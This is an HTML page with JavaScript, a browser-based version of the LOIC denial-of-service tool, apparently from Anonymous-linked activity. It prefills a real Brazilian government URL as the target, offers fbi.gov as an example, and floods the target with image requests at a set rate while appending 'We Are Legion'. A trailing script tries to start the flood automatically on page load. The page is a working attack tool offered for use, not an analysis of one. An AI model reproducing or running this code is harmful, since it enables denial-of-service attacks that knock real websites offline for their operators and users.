<html>
<head>
<title>LOIC'Online v0.1</title>
<!-- <link rel="shortcut icon" type="image/x-icon" href="http://loic-online.site90.net/LOIC.ico" /> -->
</head>
<center><h1>LOIC Online Anonymous'Edition</h1></center>
<body style="background-color:black; color:#FFFFFF;">
<div style="position:absolute; width:100%; height:100%;">
<div style="width:490px; height:326px; position:absolute;">
<img alt="LOIC"src="http://www.calgarc.com/images/loop.png" />
</div>
<div style="width:240px; height:100px; position:absolute;left:500px;">
<fieldset style="width:100%; height:100%;">
<legend>Step 1. Select your target:</legend>
<label>URL: <br /> <input id="targetURL" style="width:100%;" value="http://www.granderecife.pe.gov.br/principal.asp" /></label> <!-- disabled="true" -->
<small>Ex : http://fbi.gov</small>
</fieldset>
</div>
<div style="width:240px; height:100px; position:absolute; left:780px;">
<fieldset style="width:100%; height:100%;">
<legend>Step 2. Ready?</legend>
<button id="fireButton" style="background-color:black; border-color:#FFF; color:#FFF; width:240px; height:70px;">START</button>
</fieldset>
</div>
<div style="width:240px; height:160px; position:absolute; left:500px; top:150px;">
<fieldset style="width:100%; height:100%;">
<legend>Optional. Options</legend>
<label>Requests per second : <input style="width:40px;" id="rps" value="100" /></label><br />
<label>Append message : <br /><input style="width:100%;" id="message" value="We Are Legion" /></label>
</fieldset>
</div>
<div style="width:240px; height:160px; position:absolute; left:780px; top:150px;">
<fieldset style="width:100%; height:100%;">
<legend>Attack status:</legend>
<dl>
<dt>Requested:</dt>
<dd id="requestedCtr">0</dd>
<dt style="opacity: 0.5; color: green;">Request OK :</dt>
<dd style="opacity: 0.5" id="succeededCtr">0</dd>
<dt style="opacity: 0.5; color: red;">Request failed :</dt>
<dd style="opacity: 0.5" id="failedCtr">0</dd>
</dl>
</fieldset>
</div>
</div>
<script>
(function () {
var fireInterval;
var isFiring = false;
var requestedCtrNode = document.getElementById("requestedCtr"),
succeededCtrNode = document.getElementById("succeededCtr"),
failedCtrNode = document.getElementById("failedCtr"),
targetURLNode = document.getElementById("targetURL"),
fireButton = document.getElementById("fireButton"),
messageNode = document.getElementById("message"),
rpsNode = document.getElementById("rps"),
timeoutNode = document.getElementById("timeout");
var targetURL = targetURLNode.value;
targetURLNode.onchange = function () {
targetURL = this.value;
};
var requestsHT = {}; // requests hash table, may come in handy later
var requestedCtr = 0,
succeededCtr = 0,
failedCtr = 0;
var makeHttpRequest = function () {
if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
return;
};
var rID =Number(new Date());
var img = new Image();
img.onerror = function () { onFail(rID); };
img.onabort = function () { onFail(rID); };
img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
requestsHT[rID] = img;
onRequest(rID);
};
var onRequest = function (rID) {
requestedCtr++;
requestedCtrNode.innerHTML = requestedCtr;
};
var onComplete = function (rID) {
delete requestsHT[rID];
};
var onFail = function (rID) {
// failedCtr++;
//failedCtrNode.innerHTML = failedCtr;
succeededCtr++; //Seems like the url will always fail it it isn't an image
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
};
var onSuccess = function (rID) {
succeededCtr++;
succeededCtrNode.innerHTML = succeededCtr;
delete requestsHT[rID];
};
fireButton.onclick = function () {
if (isFiring) {
clearInterval(fireInterval);
isFiring = false;
this.innerHTML = "START";
} else {
isFiring = true;
this.innerHTML = "Stop flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
}
};
})();
isFiring = true;
document.getElementById("fireButton").innerHTML = "Stop flooding";
fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(document.getElementById("rps").value) | 0));
</script>
</body>
</html>